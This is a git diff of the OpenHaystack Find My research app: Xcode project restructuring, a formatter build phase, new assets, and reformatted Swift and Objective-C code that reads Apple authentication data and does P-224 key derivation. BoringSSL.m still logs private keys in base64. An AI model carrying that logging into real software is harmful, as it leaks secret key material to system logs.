 /* Begin PBXFrameworksBuildPhase section */
@@ -180,11 +200,27 @@
 			path = BoringSSL;
 			sourceTree = "<group>";
 		};
+		78023CAC25F7775300B083EF /* Firmwares */ = {
+			isa = PBXGroup;
+			children = (
+				78023CAE25F7797400B083EF /* ESP32 */,
+				78023CAD25F7775A00B083EF /* Microbit */,
+			);
+			path = Firmwares;
+			sourceTree = "<group>";
+		};
+		78023CAD25F7775A00B083EF /* Microbit */ = {
+			isa = PBXGroup;
+			children = (
+				7899D1D525DE74EE00115740 /* firmware.bin */,
+			);
+			path = Microbit;
+			sourceTree = "<group>";
+		};
 		78108B63248E8FB50007E9C4 = {
 			isa = PBXGroup;
 			children = (
 				78286DDC25E56C9400F65511 /* README.md */,
-				78EC227425DBCCA00042B775 /* .swiftlint.yml */,
 				78108B6E248E8FB50007E9C4 /* OpenHaystack */,
 				78EC226225DAE0BE0042B775 /* OpenHaystackTests */,
 				78286C8F25E3AC0400F65511 /* OpenHaystackMail */,
@@ -212,12 +248,11 @@
 				78108B87248E8FF10007E9C4 /* ReportsFetcher */,
 				78EC226E25DBC2FC0042B775 /* HaystackApp */,
 				781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */,
-				78108B6F248E8FB50007E9C4 /* AppDelegate.swift */,
+				78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */,
 				0211DBC2249135D600ABB066 /* MapViewController.swift */,
 				116B4EEC24A913AA007BA636 /* SavePanel.swift */,
 				0211DBC3249135D600ABB066 /* MapViewController.xib */,
 				78108B73248E8FB80007E9C4 /* Assets.xcassets */,
-				78108B78248E8FB80007E9C4 /* Main.storyboard */,
 				78108B7B248E8FB80007E9C4 /* Info.plist */,
 				78108B75248E8FB80007E9C4 /* Preview Content */,
 			);
@@ -291,6 +326,8 @@
 				78014A2A25DC22110089F6D9 /* sample.bin */,
 				78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */,
 				78EC226525DAE0BE0042B775 /* Info.plist */,
+				78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */,
+				F1647C1525FF6C61004144D6 /* BluetoothTests.swift */,
 			);
 			path = OpenHaystackTests;
 			sourceTree = "<group>";
@@ -298,13 +335,17 @@
 		78EC226E25DBC2FC0042B775 /* HaystackApp */ = {
 			isa = PBXGroup;
 			children = (
-				7899D1D525DE74EE00115740 /* firmware.bin */,
+				F12D5A5E25FA79D600CBBA09 /* Bluetooth */,
+				78023CAC25F7775300B083EF /* Firmwares */,
 				78286D3A25E4017400F65511 /* Mail Plugin */,
 				78EC227025DBC8BB0042B775 /* Views */,
 				78EC226F25DBC8B60042B775 /* Model */,
 				78EC227625DBDB7E0042B775 /* KeychainController.swift */,
 				78014A2725DC01220089F6D9 /* MicrobitController.swift */,
 				787D8AC025DECD3C00148766 /* AccessoryController.swift */,
+				78023CAA25F7767000B083EF /* ESP32Controller.swift */,
+				7821DAD025F7B2C10054DC33 /* FileManager.swift */,
+				F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */,
 			);
 			path = HaystackApp;
 			sourceTree = "<group>";
@@ -321,6 +362,7 @@
 		78EC227025DBC8BB0042B775 /* Views */ = {
 			isa = PBXGroup;
 			children = (
+				78F8BB4A261C50D500D9F37F /* Styles */,
 				78286D7625E5114600F65511 /* ActivityIndicator.swift */,
 				78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */,
 				78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */,
@@ -328,10 +370,30 @@
 				7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */,
 				78286E0125E66F9400F65511 /* AccessoryListEntry.swift */,
 				7851F1DC25EE90FA0049480D /* AccessoryMapView.swift */,
+				7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */,
+				78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */,
+				F126102E2600D1D80066A859 /* Slider+LogScale.swift */,
 			);
 			path = Views;
 			sourceTree = "<group>";
 		};
+		78F8BB4A261C50D500D9F37F /* Styles */ = {
+			isa = PBXGroup;
+			children = (
+				78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */,
+			);
+			path = Styles;
+			sourceTree = "<group>";
+		};
+		F12D5A5E25FA79D600CBBA09 /* Bluetooth */ = {
+			isa = PBXGroup;
+			children = (
+				F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */,
+				F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */,
+			);
+			path = Bluetooth;
+			sourceTree = "<group>";
+		};
 /* End PBXGroup section */
 
 /* Begin PBXNativeTarget section */
@@ -339,10 +401,10 @@
 			isa = PBXNativeTarget;
 			buildConfigurationList = 781EB40525DAD7EA00FEAA19 /* Build configuration list for PBXNativeTarget "OpenHaystack" */;
 			buildPhases = (
+				F125DE4525F65E0700135D32 /* Run swift-format */,
 				781EB3E925DAD7EA00FEAA19 /* Sources */,
 				781EB3F625DAD7EA00FEAA19 /* Frameworks */,
 				781EB3FC25DAD7EA00FEAA19 /* Resources */,
-				78EC227325DBC9240042B775 /* SwiftLint */,
 				78286DC225E5669100F65511 /* Embed PlugIns */,
 				F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */,
 			);
@@ -445,10 +507,9 @@
 			isa = PBXResourcesBuildPhase;
 			buildActionMask = 2147483647;
 			files = (
-				781EB3FD25DAD7EA00FEAA19 /* Main.storyboard in Resources */,
+				78023CAF25F7797400B083EF /* ESP32 in Resources */,
 				7899D1D625DE74EE00115740 /* firmware.bin in Resources */,
 				781EB3FE25DAD7EA00FEAA19 /* MapViewController.xib in Resources */,
-				78EC227525DBCCA00042B775 /* .swiftlint.yml in Resources */,
 				781EB40025DAD7EA00FEAA19 /* Preview Assets.xcassets in Resources */,
 				781EB40225DAD7EA00FEAA19 /* Assets.xcassets in Resources */,
 			);
@@ -475,7 +536,7 @@
 /* End PBXResourcesBuildPhase section */
 
 /* Begin PBXShellScriptBuildPhase section */
-		78EC227325DBC9240042B775 /* SwiftLint */ = {
+		F125DE4525F65E0700135D32 /* Run swift-format */ = {
 			isa = PBXShellScriptBuildPhase;
 			buildActionMask = 2147483647;
 			files = (
@@ -484,14 +545,14 @@
 			);
 			inputPaths = (
 			);
-			name = SwiftLint;
+			name = "Run swift-format";
 			outputFileListPaths = (
 			);
 			outputPaths = (
 			);
 			runOnlyForDeploymentPostprocessing = 0;
 			shellPath = /bin/sh;
-			shellScript = "if which swiftlint >/dev/null; then\n  swiftlint autocorrect && swiftlint\nelse\n  echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
+			shellScript = "if command -v swift-format >/dev/null; then\n  swift-format format -i -r \"$SRCROOT\"; swift-format lint -r \"$SRCROOT\"\nelse\n  echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
 		};
 		F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
 			isa = PBXShellScriptBuildPhase;
@@ -545,21 +606,30 @@
 				781EB3EB25DAD7EA00FEAA19 /* SavePanel.swift in Sources */,
 				7899D1E125DE97E200115740 /* IconSelectionView.swift in Sources */,
 				78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */,
+				78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */,
 				78486BEF25DD711E0007ED87 /* PopUpAlertView.swift in Sources */,
 				78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */,
+				F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */,
+				F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */,
 				78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */,
 				781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */,
 				78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */,
 				78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */,
+				7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */,
 				78286E0225E66F9400F65511 /* AccessoryListEntry.swift in Sources */,
 				781EB3EF25DAD7EA00FEAA19 /* MapViewController.swift in Sources */,
 				78286D7725E5114600F65511 /* ActivityIndicator.swift in Sources */,
+				7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */,
 				781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */,
 				787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */,
-				781EB3F225DAD7EA00FEAA19 /* AppDelegate.swift in Sources */,
+				78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */,
+				F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */,
+				781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
 				781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
+				78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */,
 				781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
 				781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
+				F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */,
 				78286D5625E401F000F65511 /* MailPluginManager.swift in Sources */,
 			);
 			runOnlyForDeploymentPostprocessing = 0;
@@ -577,6 +647,8 @@
 			isa = PBXSourcesBuildPhase;
 			buildActionMask = 2147483647;
 			files = (
+				78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */,
+				F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */,
 				78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */,
 			);
 			runOnlyForDeploymentPostprocessing = 0;
@@ -596,17 +668,6 @@
 		};
 /* End PBXTargetDependency section */
 
-/* Begin PBXVariantGroup section */
-		78108B78248E8FB80007E9C4 /* Main.storyboard */ = {
-			isa = PBXVariantGroup;
-			children = (
-				78108B79248E8FB80007E9C4 /* Base */,
-			);
-			name = Main.storyboard;
-			sourceTree = "<group>";
-		};
-/* End PBXVariantGroup section */
-
 /* Begin XCBuildConfiguration section */
 		78108B7D248E8FB80007E9C4 /* Debug */ = {
 			isa = XCBuildConfiguration;

OpenHaystack/OpenHaystack.xcodeproj/project.xcworkspace/xcshareddata/IDETemplateMacros.plist

@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+    <key>FILEHEADER</key>
+    <string>
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//</string>
+</dict>
+</plist>

OpenHaystack/OpenHaystack.xcodeproj/xcshareddata/xcschemes/OpenHaystack.xcscheme

@@ -38,6 +38,15 @@
                ReferencedContainer = "container:OpenHaystack.xcodeproj">
             </BuildableReference>
             <SkippedTests>
+               <Test
+                  Identifier = "MicrocontrollerTests/testESP32Deploy()">
+               </Test>
+               <Test
+                  Identifier = "MicrocontrollerTests/testFindESP32Port()">
+               </Test>
+               <Test
+                  Identifier = "MicrocontrollerTests/testMicrobitDeploy()">
+               </Test>
                <Test
                   Identifier = "OpenHaystackTests/testPluginInstallation()">
                </Test>

OpenHaystack/OpenHaystack/AnisetteDataManager.swift

@@ -1,28 +1,31 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import Foundation
 import OSLog
 
-/// Uses the AltStore Mail plugin to access recent anisette data
+/// Uses the AltStore Mail plugin to access recent anisette data.
 public class AnisetteDataManager: NSObject {
     @objc static let shared = AnisetteDataManager()
     private var anisetteDataCompletionHandlers: [String: (Result<AppleAccountData, Error>) -> Void] = [:]
     private var anisetteDataTimers: [String: Timer] = [:]
 
     private override init() {
-           super.init()
+        super.init()
 
-            dlopen("/System/Library/PrivateFrameworks/AuthKit.framework/AuthKit", RTLD_NOW)
+        dlopen("/System/Library/PrivateFrameworks/AuthKit.framework/AuthKit", RTLD_NOW)
 
-            DistributedNotificationCenter.default()
-             .addObserver(self, selector: #selector(AnisetteDataManager.handleAppleDataResponse(_:)),
-                          name: Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.AnisetteDataResponse"), object: nil)
-       }
+        DistributedNotificationCenter.default()
+            .addObserver(
+                self, selector: #selector(AnisetteDataManager.handleAppleDataResponse(_:)),
+                name: Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.AnisetteDataResponse"), object: nil)
+    }
 
     func requestAnisetteData(_ completion: @escaping (Result<AppleAccountData, Error>) -> Void) {
         if let accountData = self.requestAnisetteDataAuthKit() {
@@ -31,19 +34,20 @@ public class AnisetteDataManager: NSObject {
             return
         }
 
-            let requestUUID = UUID().uuidString
-            self.anisetteDataCompletionHandlers[requestUUID] = completion
+        let requestUUID = UUID().uuidString
+        self.anisetteDataCompletionHandlers[requestUUID] = completion
 
-            let timer = Timer(timeInterval: 1.0, repeats: false) { (_) in
-                self.finishRequest(forUUID: requestUUID, result: .failure(AnisetteDataError.pluginNotFound))
-            }
-            self.anisetteDataTimers[requestUUID] = timer
+        let timer = Timer(timeInterval: 1.0, repeats: false) { (_) in
+            self.finishRequest(forUUID: requestUUID, result: .failure(AnisetteDataError.pluginNotFound))
+        }
+        self.anisetteDataTimers[requestUUID] = timer
 
-            RunLoop.main.add(timer, forMode: .default)
+        RunLoop.main.add(timer, forMode: .default)
 
-            DistributedNotificationCenter.default()
-                .postNotificationName(Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.FetchAnisetteData"),
-                                  object: nil, userInfo: ["requestUUID": requestUUID], options: .deliverImmediately)
+        DistributedNotificationCenter.default()
+            .postNotificationName(
+                Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.FetchAnisetteData"),
+                object: nil, userInfo: ["requestUUID": requestUUID], options: .deliverImmediately)
     }
 
     func requestAnisetteDataAuthKit() -> AppleAccountData? {
@@ -52,27 +56,28 @@ public class AnisetteDataManager: NSObject {
         let dateFormatter = ISO8601DateFormatter()
 
         guard let machineID = anisetteData["X-Apple-I-MD-M"] as? String,
-              let otp = anisetteData["X-Apple-I-MD"] as? String,
-              let localUserId = anisetteData["X-Apple-I-MD-LU"] as? String,
-              let dateString = anisetteData["X-Apple-I-Client-Time"] as? String,
-              let date = dateFormatter.date(from: dateString),
-              let deviceClass = NSClassFromString("AKDevice")
+            let otp = anisetteData["X-Apple-I-MD"] as? String,
+            let localUserId = anisetteData["X-Apple-I-MD-LU"] as? String,
+            let dateString = anisetteData["X-Apple-I-Client-Time"] as? String,
+            let date = dateFormatter.date(from: dateString),
+            let deviceClass = NSClassFromString("AKDevice")
         else {
             return nil
         }
         let device: AKDevice = deviceClass.current()
 
         let routingInfo = (anisetteData["X-Apple-I-MD-RINFO"] as? NSNumber)?.uint64Value ?? 0
-        let accountData = AppleAccountData(machineID: machineID,
-                                           oneTimePassword: otp,
-                                           localUserID: localUserId,
-                                           routingInfo: routingInfo,
-                                           deviceUniqueIdentifier: device.uniqueDeviceIdentifier(),
-                                           deviceSerialNumber: device.serialNumber(),
-                                           deviceDescription: device.serverFriendlyDescription(),
-                                           date: date,
-                                           locale: Locale.current,
-                                           timeZone: TimeZone.current)
+        let accountData = AppleAccountData(
+            machineID: machineID,
+            oneTimePassword: otp,
+            localUserID: localUserId,
+            routingInfo: routingInfo,
+            deviceUniqueIdentifier: device.uniqueDeviceIdentifier(),
+            deviceSerialNumber: device.serialNumber(),
+            deviceDescription: device.serverFriendlyDescription(),
+            date: date,
+            locale: Locale.current,
+            timeZone: TimeZone.current)
 
         if let spToken = ReportsFetcher().fetchSearchpartyToken() {
             accountData.searchPartyToken = spToken
@@ -88,25 +93,25 @@ public class AnisetteDataManager: NSObject {
                 completion(nil)
             case .success(let data):
                 // Return only the headers
-                completion([
-                    "X-Apple-I-MD-M": data.machineID,
-                    "X-Apple-I-MD": data.oneTimePassword,
-                    "X-Apple-I-TimeZone": String(data.timeZone.abbreviation() ?? "UTC"),
-                    "X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
-                    "X-Apple-I-MD-RINFO": String(data.routingInfo)
+                completion(
+                    [
+                        "X-Apple-I-MD-M": data.machineID,
+                        "X-Apple-I-MD": data.oneTimePassword,
+                        "X-Apple-I-TimeZone": String(data.timeZone.abbreviation() ?? "UTC"),
+                        "X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
+                        "X-Apple-I-MD-RINFO": String(data.routingInfo),
                     ] as [AnyHashable: Any])
             }
         }
     }
 }
 
-private extension AnisetteDataManager {
+extension AnisetteDataManager {
 
-    @objc func handleAppleDataResponse(_ notification: Notification) {
+    @objc fileprivate func handleAppleDataResponse(_ notification: Notification) {
         guard let userInfo = notification.userInfo, let requestUUID = userInfo["requestUUID"] as? String else { return }
 
-        if
-            let archivedAnisetteData = userInfo["anisetteData"] as? Data,
+        if let archivedAnisetteData = userInfo["anisetteData"] as? Data,
             let appleAccountData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: AppleAccountData.self, from: archivedAnisetteData)
         {
             if let range = appleAccountData.deviceDescription.lowercased().range(of: "(com.apple.mail") {
@@ -122,11 +127,10 @@ private extension AnisetteDataManager {
         }
     }
 
-    @objc func handleAnisetteDataResponse(_ notification: Notification) {
+    @objc fileprivate func handleAnisetteDataResponse(_ notification: Notification) {
         guard let userInfo = notification.userInfo, let requestUUID = userInfo["requestUUID"] as? String else { return }
 
-        if
-            let archivedAnisetteData = userInfo["anisetteData"] as? Data,
+        if let archivedAnisetteData = userInfo["anisetteData"] as? Data,
             let anisetteData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: ALTAnisetteData.self, from: archivedAnisetteData)
         {
             if let range = anisetteData.deviceDescription.lowercased().range(of: "(com.apple.mail") {
@@ -143,7 +147,7 @@ private extension AnisetteDataManager {
         }
     }
 
-    func finishRequest(forUUID requestUUID: String, result: Result<AppleAccountData, Error>) {
+    fileprivate func finishRequest(forUUID requestUUID: String, result: Result<AppleAccountData, Error>) {
         let completionHandler = self.anisetteDataCompletionHandlers[requestUUID]
         self.anisetteDataCompletionHandlers[requestUUID] = nil
 

OpenHaystack/OpenHaystack/AppDelegate.swift

@@ -1,44 +0,0 @@
-//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
-//
-//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
-//  Copyright © 2021 The Open Wireless Link Project
-//
-//  SPDX-License-Identifier: AGPL-3.0-only
-
-import Cocoa
-import SwiftUI
-
-@NSApplicationMain
-class AppDelegate: NSObject, NSApplicationDelegate {
-
-    var window: NSWindow!
-
-    private var mainView: some View {
-        if ProcessInfo().arguments.contains("-preview") {
-            return OpenHaystackMainView(accessoryController: AccessoryController(accessories: PreviewData.accessories))
-        }
-        return OpenHaystackMainView()
-    }
-
-    func applicationDidFinishLaunching(_ aNotification: Notification) {
-        // Create the window and set the content view.
-        window = NSWindow(
-            contentRect: NSRect(x: 0, y: 0, width: 750, height: 480),
-            styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
-            backing: .buffered, defer: false)
-
-        window.center()
-        window.setFrameAutosaveName("Main Window")
-        window.contentView = NSHostingView(rootView: mainView)
-        window.makeKeyAndOrderFront(nil)
-    }
-
-    func applicationWillTerminate(_ aNotification: Notification) {
-        // Insert code here to tear down your application
-    }
-
-    func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
-        return true
-    }
-
-}

OpenHaystack/OpenHaystack/Assets.xcassets/Colors/Button.colorset/Contents.json

@@ -0,0 +1,34 @@
+{
+  "colors" : [
+    {
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "1.000",
+          "white" : "0.866"
+        }
+      },
+      "idiom" : "universal"
+    },
+    {
+      "appearances" : [
+        {
+          "appearance" : "luminosity",
+          "value" : "dark"
+        }
+      ],
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "0.758",
+          "white" : "0.310"
+        }
+      },
+      "idiom" : "universal"
+    }
+  ],
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}

OpenHaystack/OpenHaystack/Assets.xcassets/Colors/ButtonPressed.colorset/Contents.json

@@ -0,0 +1,34 @@
+{
+  "colors" : [
+    {
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "1.000",
+          "white" : "0.657"
+        }
+      },
+      "idiom" : "universal"
+    },
+    {
+      "appearances" : [
+        {
+          "appearance" : "luminosity",
+          "value" : "dark"
+        }
+      ],
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "0.758",
+          "white" : "0.237"
+        }
+      },
+      "idiom" : "universal"
+    }
+  ],
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}

OpenHaystack/OpenHaystack/Assets.xcassets/Colors/Contents.json

@@ -0,0 +1,6 @@
+{
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}

OpenHaystack/OpenHaystack/Assets.xcassets/Colors/ListRow1.colorset/Contents.json

@@ -0,0 +1,34 @@
+{
+  "colors" : [
+    {
+      "color" : {
+        "color-space" : "extended-gray",
+        "components" : {
+          "alpha" : "1.000",
+          "white" : "0.850"
+        }
+      },
+      "idiom" : "universal"
+    },
+    {
+      "appearances" : [
+        {
+          "appearance" : "luminosity",
+          "value" : "dark"
+        }
+      ],
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "1.000",
+          "white" : "0.100"
+        }
+      },
+      "idiom" : "universal"
+    }
+  ],
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}

OpenHaystack/OpenHaystack/Assets.xcassets/Colors/ListRow2.colorset/Contents.json

@@ -0,0 +1,34 @@
+{
+  "colors" : [
+    {
+      "color" : {
+        "color-space" : "extended-gray",
+        "components" : {
+          "alpha" : "1.000",
+          "white" : "0.780"
+        }
+      },
+      "idiom" : "universal"
+    },
+    {
+      "appearances" : [
+        {
+          "appearance" : "luminosity",
+          "value" : "dark"
+        }
+      ],
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "1.000",
+          "white" : "0.200"
+        }
+      },
+      "idiom" : "universal"
+    }
+  ],
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}

OpenHaystack/OpenHaystack/Assets.xcassets/Colors/PinImageColor.colorset/Contents.json

@@ -0,0 +1,38 @@
+{
+  "colors" : [
+    {
+      "color" : {
+        "color-space" : "srgb",
+        "components" : {
+          "alpha" : "1.000",
+          "blue" : "0.000",
+          "green" : "0.000",
+          "red" : "0.000"
+        }
+      },
+      "idiom" : "universal"
+    },
+    {
+      "appearances" : [
+        {
+          "appearance" : "luminosity",
+          "value" : "dark"
+        }
+      ],
+      "color" : {
+        "color-space" : "srgb",
+        "components" : {
+          "alpha" : "1.000",
+          "blue" : "1.000",
+          "green" : "1.000",
+          "red" : "1.000"
+        }
+      },
+      "idiom" : "universal"
+    }
+  ],
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}

OpenHaystack/OpenHaystack/BoringSSL/BoringSSL.h

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 #import <Foundation/Foundation.h>
 
@@ -11,16 +13,16 @@ NS_ASSUME_NONNULL_BEGIN
 
 @interface BoringSSL : NSObject
 
-+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint;
++ (NSData *_Nullable)deriveSharedKeyFromPrivateKey:(NSData *)privateKey andEphemeralKey:(NSData *)ephemeralKeyPoint;
 
 /// Derive a public key from a given private key
 /// @param privateKeyData an EC private key on the P-224 curve
 /// @returns The public key in a compressed format using 29 bytes. The first byte is used for identifying if its odd or even.
-/// For OF the first byte has to be dropped 
-+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData;
+/// For OF the first byte has to be dropped
++ (NSData *_Nullable)derivePublicKeyFromPrivateKey:(NSData *)privateKeyData;
 
 /// Generate a new EC private key and exports it as data
-+ (NSData * _Nullable) generateNewPrivateKey;
++ (NSData *_Nullable)generateNewPrivateKey;
 
 @end
 

OpenHaystack/OpenHaystack/BoringSSL/BoringSSL.m

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 #import "BoringSSL.h"
 
@@ -16,29 +18,29 @@
 
 @implementation BoringSSL
 
-+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint {
-    
++ (NSData *_Nullable)deriveSharedKeyFromPrivateKey:(NSData *)privateKey andEphemeralKey:(NSData *)ephemeralKeyPoint {
+
     NSLog(@"Private key %@", [privateKey base64EncodedStringWithOptions:0]);
     NSLog(@"Ephemeral key %@", [ephemeralKeyPoint base64EncodedStringWithOptions:0]);
-    
+
     EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
-    
+
     EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKey group:curve];
-    
+
     const EC_POINT *genPubKey = EC_KEY_get0_public_key(key);
     [self printPoint:genPubKey withGroup:curve];
-    
+
     EC_POINT *publicKey = EC_POINT_new(curve);
     size_t load_success = EC_POINT_oct2point(curve, publicKey, ephemeralKeyPoint.bytes, ephemeralKeyPoint.length, NULL);
     if (load_success == 0) {
         NSLog(@"Failed loading public key!");
-        return nil; 
+        return nil;
     }
-    
+
     NSMutableData *sharedKey = [[NSMutableData alloc] initWithLength:28];
-    
+
     int res = ECDH_compute_key(sharedKey.mutableBytes, sharedKey.length, publicKey, key, nil);
-    
+
     if (res < 1) {
         NSLog(@"Failed with error: %d", res);
         BIO *bio = BIO_new(BIO_s_mem());
@@ -46,128 +48,138 @@
         char *buf;
         BIO_get_mem_data(bio, &buf);
         NSLog(@"Generating shared key failed %s", buf);
-        free(buf); 
+        free(buf);
         BIO_free(bio);
     }
-    
-    NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
-    
+
+    // NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
+    //Free
+    EC_KEY_free(key);
+    EC_GROUP_free(curve);
+    EC_POINT_free(publicKey);
+
     return sharedKey;
 }
 
-+ (EC_POINT * _Nullable) loadEllipticCurvePublicBytesWith: (EC_GROUP *) group andPointBytes: (NSData *) pointBytes {
-    
-    EC_POINT* point = EC_POINT_new(group);
-    
-    //Create big number context
++ (EC_POINT *_Nullable)loadEllipticCurvePublicBytesWith:(EC_GROUP *)group andPointBytes:(NSData *)pointBytes {
+
+    EC_POINT *point = EC_POINT_new(group);
+
+    // Create big number context
     BN_CTX *ctx = BN_CTX_new();
     BN_CTX_start(ctx);
-    
-    //Public key will be stored in point
+
+    // Public key will be stored in point
     int res = EC_POINT_oct2point(group, point, pointBytes.bytes, pointBytes.length, ctx);
     [self printPoint:point withGroup:group];
     
-    //Free the big numbers
+    // Free the big numbers
     BN_CTX_free(ctx);
-    
+
     if (res != 1) {
-        //Failed
+        // Failed
         return nil;
     }
-    
+
     return point;
 }
 
-
 /// Get the private key on the curve from the private key bytes
 /// @param privateKeyData NSData representing the private key
 /// @param group The EC group representing the curve to use
-+ (EC_KEY * _Nullable) deriveEllipticCurvePrivateKey: (NSData *)privateKeyData group: (EC_GROUP *) group {
++ (EC_KEY *_Nullable)deriveEllipticCurvePrivateKey:(NSData *)privateKeyData group:(EC_GROUP *)group {
     EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
     EC_POINT *point = EC_POINT_new(group);
-    
+
     BN_CTX *ctx = BN_CTX_new();
     BN_CTX_start(ctx);
-    
-    
+
+    // Read in the private key data
     BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
-    
     int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
+    
     if (res != 1) {
         NSLog(@"Failed");
         return nil;
     }
 
     res = EC_KEY_set_public_key(key, point);
+    EC_POINT_free(point);
+    
     if (res != 1) {
         NSLog(@"Failed");
         return nil;
     }
-    
-    privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
+
+
     EC_KEY_set_private_key(key, privateKeyNum);
-    
-    
-    //Free the big numbers
+    BN_free(privateKeyNum);
+
+    // Free
     BN_CTX_free(ctx);
-    
+
     return key;
 }
 
-
 /// Derive a public key from a given private key
 /// @param privateKeyData an EC private key on the P-224 curve
-+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData {
++ (NSData *_Nullable)derivePublicKeyFromPrivateKey:(NSData *)privateKeyData {
     EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
     EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKeyData group:curve];
-    
+
     const EC_POINT *publicKey = EC_KEY_get0_public_key(key);
-    
+
